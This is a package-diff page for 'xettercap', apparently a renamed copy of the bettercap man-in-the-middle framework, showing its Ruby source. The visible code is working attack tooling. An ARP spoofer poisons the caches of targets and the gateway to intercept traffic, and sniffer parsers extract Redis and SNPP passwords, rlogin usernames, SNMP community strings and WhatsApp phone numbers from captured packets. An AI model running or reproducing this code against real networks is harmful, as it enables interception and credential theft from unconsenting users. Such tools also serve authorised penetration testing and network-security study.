xettercap 1.5.7xerob

Sign up to get free protection for your applications and to get access to all the features.
Files changed (98) hide show
  1. checksums.yaml +7 -0
  2. data/bin/xettercap +61 -0
  3. data/lib/bettercap/banner +2 -0
  4. data/lib/bettercap/context.rb +259 -0
  5. data/lib/bettercap/discovery/agents/arp.rb +37 -0
  6. data/lib/bettercap/discovery/agents/base.rb +73 -0
  7. data/lib/bettercap/discovery/agents/icmp.rb +44 -0
  8. data/lib/bettercap/discovery/agents/udp.rb +30 -0
  9. data/lib/bettercap/discovery/thread.rb +128 -0
  10. data/lib/bettercap/error.rb +16 -0
  11. data/lib/bettercap/firewalls/base.rb +103 -0
  12. data/lib/bettercap/firewalls/bsd.rb +74 -0
  13. data/lib/bettercap/firewalls/linux.rb +65 -0
  14. data/lib/bettercap/firewalls/redirection.rb +42 -0
  15. data/lib/bettercap/loader.rb +27 -0
  16. data/lib/bettercap/logger.rb +131 -0
  17. data/lib/bettercap/memory.rb +56 -0
  18. data/lib/bettercap/monkey/celluloid/actor.rb +23 -0
  19. data/lib/bettercap/monkey/celluloid/io/udp_socket.rb +26 -0
  20. data/lib/bettercap/monkey/em-proxy/proxy.rb +23 -0
  21. data/lib/bettercap/monkey/openssl/server.rb +35 -0
  22. data/lib/bettercap/monkey/packetfu/pcap.rb +51 -0
  23. data/lib/bettercap/monkey/packetfu/utils.rb +210 -0
  24. data/lib/bettercap/monkey/system.rb +25 -0
  25. data/lib/bettercap/network/arp_reader.rb +91 -0
  26. data/lib/bettercap/network/hw-prefixes +21326 -0
  27. data/lib/bettercap/network/network.rb +102 -0
  28. data/lib/bettercap/network/packet_queue.rb +129 -0
  29. data/lib/bettercap/network/protos/base.rb +154 -0
  30. data/lib/bettercap/network/protos/dhcp.rb +227 -0
  31. data/lib/bettercap/network/protos/mysql.rb +40 -0
  32. data/lib/bettercap/network/protos/ntlm.rb +97 -0
  33. data/lib/bettercap/network/protos/snmp.rb +49 -0
  34. data/lib/bettercap/network/protos/teamviewer.rb +119 -0
  35. data/lib/bettercap/network/servers/dnsd.rb +152 -0
  36. data/lib/bettercap/network/servers/httpd.rb +55 -0
  37. data/lib/bettercap/network/services +2182 -0
  38. data/lib/bettercap/network/target.rb +168 -0
  39. data/lib/bettercap/network/validator.rb +96 -0
  40. data/lib/bettercap/options/core_options.rb +197 -0
  41. data/lib/bettercap/options/options.rb +165 -0
  42. data/lib/bettercap/options/proxy_options.rb +314 -0
  43. data/lib/bettercap/options/server_options.rb +73 -0
  44. data/lib/bettercap/options/sniff_options.rb +90 -0
  45. data/lib/bettercap/options/spoof_options.rb +71 -0
  46. data/lib/bettercap/pluggable.rb +37 -0
  47. data/lib/bettercap/proxy/http/module.rb +105 -0
  48. data/lib/bettercap/proxy/http/modules/injectcss.rb +79 -0
  49. data/lib/bettercap/proxy/http/modules/injecthtml.rb +80 -0
  50. data/lib/bettercap/proxy/http/modules/injectjs.rb +79 -0
  51. data/lib/bettercap/proxy/http/proxy.rb +184 -0
  52. data/lib/bettercap/proxy/http/request.rb +192 -0
  53. data/lib/bettercap/proxy/http/response.rb +226 -0
  54. data/lib/bettercap/proxy/http/ssl/authority.rb +182 -0
  55. data/lib/bettercap/proxy/http/ssl/bettercap-ca.pem +49 -0
  56. data/lib/bettercap/proxy/http/ssl/server.rb +63 -0
  57. data/lib/bettercap/proxy/http/sslstrip/cookiemonitor.rb +67 -0
  58. data/lib/bettercap/proxy/http/sslstrip/lock.ico +0 -0
  59. data/lib/bettercap/proxy/http/sslstrip/strip.rb +325 -0
  60. data/lib/bettercap/proxy/http/streamer.rb +225 -0
  61. data/lib/bettercap/proxy/stream_logger.rb +181 -0
  62. data/lib/bettercap/proxy/tcp/module.rb +75 -0
  63. data/lib/bettercap/proxy/tcp/proxy.rb +123 -0
  64. data/lib/bettercap/proxy/thread_pool.rb +194 -0
  65. data/lib/bettercap/shell.rb +70 -0
  66. data/lib/bettercap/sniffer/parsers/base.rb +87 -0
  67. data/lib/bettercap/sniffer/parsers/cookie.rb +45 -0
  68. data/lib/bettercap/sniffer/parsers/creditcard.rb +62 -0
  69. data/lib/bettercap/sniffer/parsers/custom.rb +26 -0
  70. data/lib/bettercap/sniffer/parsers/dhcp.rb +45 -0
  71. data/lib/bettercap/sniffer/parsers/dict.rb +37 -0
  72. data/lib/bettercap/sniffer/parsers/ftp.rb +24 -0
  73. data/lib/bettercap/sniffer/parsers/httpauth.rb +44 -0
  74. data/lib/bettercap/sniffer/parsers/https.rb +42 -0
  75. data/lib/bettercap/sniffer/parsers/irc.rb +24 -0
  76. data/lib/bettercap/sniffer/parsers/mail.rb +24 -0
  77. data/lib/bettercap/sniffer/parsers/mpd.rb +36 -0
  78. data/lib/bettercap/sniffer/parsers/mysql.rb +27 -0
  79. data/lib/bettercap/sniffer/parsers/nntp.rb +24 -0
  80. data/lib/bettercap/sniffer/parsers/ntlmss.rb +34 -0
  81. data/lib/bettercap/sniffer/parsers/pgsql.rb +36 -0
  82. data/lib/bettercap/sniffer/parsers/post.rb +33 -0
  83. data/lib/bettercap/sniffer/parsers/redis.rb +39 -0
  84. data/lib/bettercap/sniffer/parsers/rlogin.rb +45 -0
  85. data/lib/bettercap/sniffer/parsers/snmp.rb +44 -0
  86. data/lib/bettercap/sniffer/parsers/snpp.rb +37 -0
  87. data/lib/bettercap/sniffer/parsers/teamviewer.rb +30 -0
  88. data/lib/bettercap/sniffer/parsers/url.rb +30 -0
  89. data/lib/bettercap/sniffer/parsers/whatsapp.rb +33 -0
  90. data/lib/bettercap/sniffer/sniffer.rb +142 -0
  91. data/lib/bettercap/spoofers/arp.rb +150 -0
  92. data/lib/bettercap/spoofers/base.rb +152 -0
  93. data/lib/bettercap/spoofers/icmp.rb +202 -0
  94. data/lib/bettercap/spoofers/none.rb +57 -0
  95. data/lib/bettercap/update_checker.rb +57 -0
  96. data/lib/bettercap/version.rb +18 -0
  97. data/lib/bettercap.rb +70 -0
  98. metadata +276 -0
@@ -0,0 +1,39 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+
13
+ module BetterCap
14
+ module Parsers
15
+ # Redis authentication parser.
16
+ class Redis < Base
17
+ def initialize
18
+ @name = 'REDIS'
19
+ end
20
+ def on_packet( pkt )
21
+ begin
22
+ if pkt.tcp_dst == 6379
23
+ lines = pkt.to_s.split(/\r?\n/)
24
+ lines.each do |line|
25
+ if line =~ /config\s+set\s+requirepass\s+(.+)$/i
26
+ pass = "#{$1}"
27
+ StreamLogger.log_raw( pkt, @name, "password=#{pass}" )
28
+ elsif line =~ /AUTH\s+(.+)$/i
29
+ pass = "#{$1}"
30
+ StreamLogger.log_raw( pkt, @name, "password=#{pass}" )
31
+ end
32
+ end
33
+ end
34
+ rescue
35
+ end
36
+ end
37
+ end
38
+ end
39
+ end
@@ -0,0 +1,45 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+
13
+ module BetterCap
14
+ module Parsers
15
+ # BSD rlogin authentication parser.
16
+ class Rlogin < Base
17
+ def initialize
18
+ @name = 'RLOGIN'
19
+ end
20
+ def on_packet( pkt )
21
+ begin
22
+ if pkt.tcp_dst == 513
23
+ # rlogin packet data = 0x00[client-username]0x00<server-username>0x00<terminal/speed>0x00
24
+
25
+ # if client username, server username and terminal/speed were supplied...
26
+ # regex starts at client username as the first null byte is stripped from pkt.payload.to_s
27
+ if pkt.payload.to_s =~ /\A([a-z0-9_-]+)\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i
28
+ client_user = $1
29
+ server_user = $2
30
+ terminal = $3
31
+ StreamLogger.log_raw( pkt, @name, "client-username=#{client_user} server-username=#{server_user} terminal=#{terminal}" )
32
+ # else, if only server username and terminal/speed were supplied...
33
+ # regex starts at 0x00 as the first null byte is stripped from pkt.payload.to_s and the client username is empty
34
+ elsif pkt.payload.to_s =~ /\A\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i
35
+ server_user = $1
36
+ terminal = $2
37
+ StreamLogger.log_raw( pkt, @name, "server-username=#{server_user} terminal=#{terminal}" )
38
+ end
39
+ end
40
+ rescue
41
+ end
42
+ end
43
+ end
44
+ end
45
+ end
@@ -0,0 +1,44 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ SNMP community string parser:
10
+ Author : Matteo Cantoni
11
+ Email : matteo.cantoni@nothink.org
12
+
13
+ This project is released under the GPL 3 license.
14
+
15
+ Todo: SNMPv2
16
+
17
+ =end
18
+
19
+ module BetterCap
20
+ module Parsers
21
+ # SNMP community string parser.
22
+ class SNMP < Base
23
+ def on_packet( pkt )
24
+ begin
25
+ if pkt.udp_dst == 161
26
+
27
+ packet = Network::Protos::SNMP::Packet.parse( pkt.payload )
28
+ unless packet.nil?
29
+ if packet.snmp_version_number.to_i == 0
30
+ snmp_version = 'v1'
31
+ else
32
+ snmp_version = 'n/a'
33
+ end
34
+
35
+ msg = "[#{'Version:'.green} #{snmp_version}] [#{'Community:'.green} #{packet.snmp_community_string.map { |x| x.chr }.join.yellow}]"
36
+
37
+ StreamLogger.log_raw( pkt, 'SNMP', msg )
38
+ end
39
+ end
40
+ rescue; end
41
+ end
42
+ end
43
+ end
44
+ end
@@ -0,0 +1,37 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+
13
+ module BetterCap
14
+ module Parsers
15
+ # Simple Network Paging Protocol (SNPP) authentication parser.
16
+ class Snpp < Base
17
+ def initialize
18
+ @name = 'SNPP'
19
+ end
20
+ def on_packet( pkt )
21
+ begin
22
+ if pkt.tcp_dst == 444
23
+ lines = pkt.to_s.split(/\r?\n/)
24
+ lines.each do |line|
25
+ if line =~ /LOGIn\s+(.+)\s+(.+)$/
26
+ user = $1
27
+ pass = $2
28
+ StreamLogger.log_raw( pkt, @name, "username=#{user} password=#{pass}" )
29
+ end
30
+ end
31
+ end
32
+ rescue
33
+ end
34
+ end
35
+ end
36
+ end
37
+ end
@@ -0,0 +1,30 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ module BetterCap
15
+ module Parsers
16
+ # MySQL authentication parser.
17
+ class TeamViewer < Base
18
+ def on_packet( pkt )
19
+ begin
20
+ if pkt.tcp_dst == 5938 or pkt.tcp_src == 5938
21
+ packet = Network::Protos::TeamViewer::Packet.parse( pkt.payload )
22
+ unless packet.nil?
23
+ StreamLogger.log_raw( pkt, 'TEAMVIEWER', "#{'version'.blue}=#{packet.version.yellow} #{'command'.blue}=#{packet.command.yellow}" )
24
+ end
25
+ end
26
+ rescue; end
27
+ end
28
+ end
29
+ end
30
+ end
@@ -0,0 +1,30 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ module BetterCap
15
+ module Parsers
16
+ # HTTP GET requests parser.
17
+ #class Url < Base
18
+ # def on_packet( pkt )
19
+ # s = pkt.to_s
20
+ # if s =~ /GET\s+([^\s]+)\s+HTTP.+Host:\s+([^\s]+).+/m
21
+ # host = $2
22
+ # url = $1
23
+ # unless url =~ /.+\.(png|jpg|jpeg|bmp|gif|img|ttf|woff|css|js).*/i
24
+ # StreamLogger.log_raw( pkt, 'GET', "http://#{host}#{url}" )
25
+ # end
26
+ # end
27
+ # end
28
+ #end
29
+ end
30
+ end
@@ -0,0 +1,33 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ WhatsApp OS Parser:
11
+ Author : Gianluca Costa
12
+ Email : g.costa@xplico.org
13
+
14
+ This project is released under the GPL 3 license.
15
+
16
+ =end
17
+
18
+ module BetterCap
19
+ module Parsers
20
+ # WhatsApp traffic parser.
21
+ class Whatsapp < Base
22
+ def on_packet( pkt )
23
+ begin
24
+ if ( pkt.tcp_dst == 443 or pkt.tcp_dst == 5222 or pkt.tcp_dst == 5223 ) and pkt.payload =~ /^WA.*?([a-zA-Z\-\.0-9]+).*?([0-9]+)/
25
+ version = $1
26
+ phone = $2
27
+ StreamLogger.log_raw( pkt, 'WHATSAPP', "#{'phone'.green}=#{phone.yellow} #{'version'.green}=#{version.yellow}" )
28
+ end
29
+ rescue; end
30
+ end
31
+ end
32
+ end
33
+ end
@@ -0,0 +1,142 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ module BetterCap
15
+ # Class responsible of loading BetterCap::Parsers instances and performing
16
+ # network packet sniffing and dumping.
17
+ class Sniffer
18
+ include PacketFu
19
+
20
+ @@ctx = nil
21
+ @@parsers = nil
22
+ @@pcap = nil
23
+ @@cap = nil
24
+
25
+ # Start a new thread that will sniff packets from the network and pass
26
+ # each one of them to the BetterCap::Parsers instances loaded inside the
27
+ # +ctx+ BetterCap::Context instance.
28
+ def self.start( ctx )
29
+ Thread.new {
30
+ Logger.debug 'Starting sniffer ...'
31
+
32
+ setup( ctx )
33
+
34
+ start = Time.now
35
+ skipped = 0
36
+ processed = 0
37
+
38
+ self.stream.each do |raw_packet|
39
+ break unless @@ctx.running
40
+ begin
41
+ parsed = PacketFu::Packet.parse(raw_packet)
42
+ rescue Exception => e
43
+ parsed = nil
44
+ end
45
+
46
+ if skip_packet?(parsed)
47
+ skipped += 1
48
+ else
49
+ processed += 1
50
+ append_packet raw_packet
51
+ parse_packet parsed
52
+ end
53
+ end
54
+
55
+ stop = Time.now
56
+ delta = ( stop - start ) * 1000.0
57
+ total = skipped + processed
58
+
59
+ Logger.info "[#{'SNIFFER'.green}] #{total} packets processed in #{delta} ms ( #{skipped} skipped packets, #{processed} processed packets )"
60
+ }
61
+ end
62
+
63
+ private
64
+
65
+ # Return the current PCAP stream.
66
+ def self.stream
67
+ if @@ctx.options.sniff.src.nil?
68
+ return @@cap.stream
69
+ else
70
+ Logger.info "[#{'SNIFFER'.green}] Reading packets from #{@@ctx.options.sniff.src} ..."
71
+
72
+ begin
73
+ return PacketFu::PcapFile.file_to_array @@ctx.options.sniff.src
74
+ rescue Exception => e
75
+ Logger.error "Error while parsing #{@@ctx.options.sniff.src}: #{e.message}"
76
+ Logger.exception e
77
+ end
78
+ end
79
+ return []
80
+ end
81
+
82
+ # Return true if the +pkt+ packet instance must be skipped.
83
+ def self.skip_packet?( pkt )
84
+ begin
85
+ # not parsed
86
+ return true if pkt.nil?
87
+ # not IP packet
88
+ return true unless pkt.is_ip?
89
+ # skip if local packet and --local|-L was not specified.
90
+ unless @@ctx.options.sniff.local
91
+ return ( pkt.ip_saddr == @@ctx.iface.ip or pkt.ip_daddr == @@ctx.iface.ip )
92
+ end
93
+ rescue; end
94
+ false
95
+ end
96
+
97
+ # Apply each parser on the given +parsed+ packet.
98
+ def self.parse_packet( parsed )
99
+ @@parsers.each do |parser|
100
+ begin
101
+ parser.on_packet parsed
102
+ rescue Exception => e
103
+ Logger.exception e
104
+ end
105
+ end
106
+ end
107
+
108
+ # Append the packet +p+ to the current PCAP file.
109
+ def self.append_packet( p )
110
+ begin
111
+ @@pcap.array_to_file(
112
+ filename: @@ctx.options.sniff.output,
113
+ array: [p],
114
+ append: true ) unless @@pcap.nil?
115
+ rescue Exception => e
116
+ Logger.exception e
117
+ end
118
+ end
119
+
120
+ # Setup all needed objects for the sniffer using the +ctx+ Context instance.
121
+ def self.setup( ctx )
122
+ @@ctx = ctx
123
+
124
+ unless @@ctx.options.sniff.output.nil?
125
+ @@pcap = PacketFu::PcapFile.new
126
+ Logger.info "[#{'SNIFFER'.green}] Saving packets to #{@@ctx.options.sniff.output} ."
127
+ end
128
+
129
+ if @@ctx.options.sniff.custom_parser.nil?
130
+ @@parsers = Parsers::Base.load_by_names @@ctx.options.sniff.parsers
131
+ else
132
+ @@parsers = Parsers::Base.load_custom @@ctx.options.sniff.custom_parser
133
+ end
134
+
135
+ @@cap = Capture.new(
136
+ iface: @@ctx.options.core.iface,
137
+ filter: @@ctx.options.sniff.filter,
138
+ start: true
139
+ )
140
+ end
141
+ end
142
+ end
@@ -0,0 +1,150 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+
14
+ module BetterCap
15
+ module Spoofers
16
+ # This class is responsible of performing ARP spoofing on the network.
17
+ class Arp < Base
18
+ # Initialize the BetterCap::Spoofers::Arp object.
19
+ def initialize
20
+ @ctx = Context.get
21
+ @forwarding = @ctx.firewall.forwarding_enabled?
22
+ @spoof_thread = nil
23
+ @sniff_thread = nil
24
+ @capture = nil
25
+ @running = false
26
+
27
+ update_gateway!
28
+ end
29
+
30
+ # Send a spoofed ARP reply to the target identified by the +daddr+ IP address
31
+ # and +dmac+ MAC address, spoofing the +saddr+ IP address and +smac+ MAC
32
+ # address as the source device.
33
+ def send_spoofed_packet( saddr, smac, daddr, dmac )
34
+ pkt = PacketFu::ARPPacket.new
35
+ pkt.eth_saddr = smac
36
+ pkt.eth_daddr = dmac
37
+ pkt.arp_saddr_mac = smac
38
+ pkt.arp_daddr_mac = dmac
39
+ pkt.arp_saddr_ip = saddr
40
+ pkt.arp_daddr_ip = daddr
41
+ pkt.arp_opcode = 2
42
+
43
+ @ctx.packets.push(pkt)
44
+ end
45
+
46
+ # Start the ARP spoofing.
47
+ def start
48
+ Logger.debug "Starting ARP spoofer ( #{@ctx.options.spoof.half_duplex ? 'Half' : 'Full'} Duplex ) ..."
49
+
50
+ stop() if @running
51
+ @running = true
52
+
53
+ if @ctx.options.spoof.kill
54
+ Logger.warn "Disabling packet forwarding."
55
+ @ctx.firewall.enable_forwarding(false) if @forwarding
56
+ else
57
+ @ctx.firewall.enable_forwarding(true) unless @forwarding
58
+ end
59
+
60
+ @sniff_thread = Thread.new { arp_watcher }
61
+ @spoof_thread = Thread.new { arp_spoofer }
62
+ end
63
+
64
+ # Stop the ARP spoofing, reset firewall state and restore targets ARP table.
65
+ def stop
66
+ raise 'ARP spoofer is not running' unless @running
67
+
68
+ Logger.debug 'Stopping ARP spoofer ...'
69
+
70
+ @running = false
71
+ begin
72
+ @spoof_thread.exit
73
+ rescue
74
+ end
75
+
76
+ Logger.debug "Restoring ARP table of #{@ctx.targets.size} targets ..."
77
+
78
+ # @ctx.targets.each do |target|
79
+ # if target.spoofable?
80
+ # 5.times do
81
+ # spoof(target, true)
82
+ # sleep 0.3
83
+ # end
84
+ # end
85
+ # end
86
+
87
+ Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
88
+
89
+ @ctx.firewall.enable_forwarding( @forwarding )
90
+ end
91
+
92
+ private
93
+
94
+ # Send an ARP spoofing packet to +target+, if +restore+ is true it will
95
+ # restore its ARP cache instead.
96
+ def spoof( target, restore = false )
97
+ if restore
98
+ send_spoofed_packet( @ctx.gateway.ip, @ctx.gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
99
+ send_spoofed_packet( target.ip, target.mac, @ctx.gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.spoof.half_duplex
100
+ @ctx.targets.each do |e|
101
+ if e.spoofable? and e.ip != target.ip and e.ip != @ctx.gateway.ip
102
+ send_spoofed_packet( e.ip, e.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
103
+ end
104
+ end
105
+ else
106
+ # tell the target we're the gateway
107
+ send_spoofed_packet( @ctx.gateway.ip, @ctx.iface.mac, target.ip, target.mac )
108
+ # tell the gateway we're the target
109
+ send_spoofed_packet( target.ip, @ctx.iface.mac, @ctx.gateway.ip, @ctx.gateway.mac ) unless @ctx.options.spoof.half_duplex
110
+ # tell the target we're everybody else in the network :D
111
+ @ctx.targets.each do |e|
112
+ if e.spoofable? and e.ip != target.ip and e.ip != @ctx.gateway.ip
113
+ send_spoofed_packet( e.ip, @ctx.iface.mac, target.ip, target.mac )
114
+ end
115
+ end
116
+ end
117
+ end
118
+
119
+ # Main spoofer loop.
120
+ def arp_spoofer
121
+ spoof_loop(1) { |target|
122
+ if target.spoofable?
123
+ spoof(target)
124
+ end
125
+ }
126
+ end
127
+
128
+ # Return true if the +pkt+ packet is an ARP 'who-has' query coming
129
+ # from some network endpoint.
130
+ def is_arp_query?(pkt)
131
+ # we're only interested in 'who-has' packets
132
+ pkt.arp_opcode == 1 and \
133
+ pkt.arp_dst_mac.to_s == '00:00:00:00:00:00' and \
134
+ pkt.arp_src_ip.to_s != @ctx.iface.ip
135
+ end
136
+
137
+ # Will watch for incoming ARP requests and spoof the source address.
138
+ def arp_watcher
139
+ Logger.debug 'ARP watcher started ...'
140
+
141
+ sniff_packets('arp') { |pkt|
142
+ if is_arp_query?(pkt)
143
+ Logger.info "[#{'ARP'.green}] #{pkt.arp_src_ip.to_s} is asking who #{pkt.arp_dst_ip.to_s} is."
144
+ send_spoofed_packet pkt.arp_dst_ip.to_s, @ctx.iface.mac, pkt.arp_src_ip.to_s, pkt.arp_src_mac.to_s
145
+ end
146
+ }
147
+ end
148
+ end
149
+ end
150
+ end
@@ -0,0 +1,152 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ This project is released under the GPL 3 license.
11
+
12
+ =end
13
+ module BetterCap
14
+ module Spoofers
15
+ # Base class for BetterCap::Spoofers modules.
16
+ class Base
17
+ # Hash of available spoofers ( spoofer name -> class name )
18
+ @@loaded = {}
19
+
20
+ class << self
21
+ # Called when this base class is inherited from one of the spoofers.
22
+ def inherited(subclass)
23
+ name = subclass.name.split('::')[2].upcase
24
+ @@loaded[name] = subclass.name
25
+ end
26
+
27
+ # Return a list of available spoofers names.
28
+ def available
29
+ @@loaded.keys
30
+ end
31
+
32
+ # Create an instance of a BetterCap::Spoofers object given its +name+.
33
+ # Will raise a BetterCap::Error if +name+ is not valid.
34
+ def get_by_name(name)
35
+ raise BetterCap::Error, "Invalid spoofer name '#{name}'!" unless available.include? name
36
+ BetterCap::Loader.load(@@loaded[name]).new
37
+ end
38
+ end
39
+
40
+ # Will raise NotImplementedError .
41
+ def initialize
42
+ not_implemented_method!
43
+ end
44
+ # Will raise NotImplementedError .
45
+ def start
46
+ not_implemented_method!
47
+ end
48
+ # Will raise NotImplementedError .
49
+ def stop
50
+ not_implemented_method!
51
+ end
52
+
53
+ private
54
+
55
+ # Will create a PacketFu::Capture object using the specified +filter+ and
56
+ # will yield every parsed packet to the given code block.
57
+ def sniff_packets( filter )
58
+ begin
59
+ @capture = PacketFu::Capture.new(
60
+ iface: @ctx.options.core.iface,
61
+ filter: filter,
62
+ start: true
63
+ )
64
+ rescue Exception => e
65
+ Logger.error e.message
66
+ end
67
+
68
+ @capture.stream.each do |p|
69
+ begin
70
+ unless @running
71
+ Logger.debug 'Stopping thread ...'
72
+ Thread.exit
73
+ break
74
+ end
75
+
76
+ pkt = PacketFu::Packet.parse p rescue nil
77
+
78
+ yield( pkt ) unless pkt.nil?
79
+
80
+ rescue Exception => e
81
+ Logger.error e.message
82
+ end
83
+ end
84
+ end
85
+
86
+ # Main spoof loop repeated each +delay+ seconds.
87
+ def spoof_loop( delay )
88
+ loop do
89
+ unless @running
90
+ Logger.debug 'Stopping spoofing thread ...'
91
+ Thread.exit
92
+ break
93
+ end
94
+
95
+ Logger.debug "Spoofing #{@ctx.targets.size} targets ..." unless @ctx.targets.empty?
96
+
97
+ update_targets!
98
+
99
+ @ctx.targets.each do |target|
100
+ yield(target)
101
+ end
102
+
103
+ sleep(delay)
104
+ end
105
+ end
106
+
107
+ # Get the MAC address of the gateway and update it.
108
+ def update_gateway!
109
+ unless @ctx.gateway.spoofable?
110
+ hw = Network.get_hw_address( @ctx, @ctx.gateway.ip )
111
+ raise BetterCap::Error, "Couldn't determine router MAC" if ( @ctx.options.need_gateway? and hw.nil? )
112
+ @ctx.gateway.mac = hw unless hw.nil?
113
+ end
114
+
115
+ ###Logger.info "[#{'GATEWAY'.green}] #{@ctx.gateway.to_s(false)}"
116
+ end
117
+
118
+ # Update each target that needs to be updated.
119
+ def update_targets!
120
+ @ctx.targets.each do |target|
121
+ # targets could change, update mac addresses if needed
122
+ if target.mac.nil?
123
+ hw = Network.get_hw_address( @ctx, target.ip )
124
+ if hw.nil?
125
+ Logger.warn "Couldn't determine target #{target.ip} MAC address!"
126
+ next
127
+ else
128
+ target.mac = hw
129
+ ###Logger.info "[#{'TARGET'.green}] #{target.to_s(false)}"
130
+ end
131
+ # target was specified by MAC address
132
+ elsif target.ip_refresh
133
+ ip = Network.get_ip_address( @ctx, target.mac )
134
+ if ip.nil?
135
+ Logger.warn "Couldn't determine target #{target.mac} IP address!"
136
+ next
137
+ else
138
+ doprint = ( target.ip.nil? or target.ip != ip )
139
+ target.ip = ip
140
+ ###Logger.info("[#{'TARGET'.green}] #{target.to_s(false)}") if doprint
141
+ end
142
+ end
143
+ end
144
+ end
145
+
146
+ # Used to raise a NotImplementedError exception.
147
+ def not_implemented_method!
148
+ raise NotImplementedError, 'Spoofers::Base: Unimplemented method!'
149
+ end
150
+ end
151
+ end
152
+ end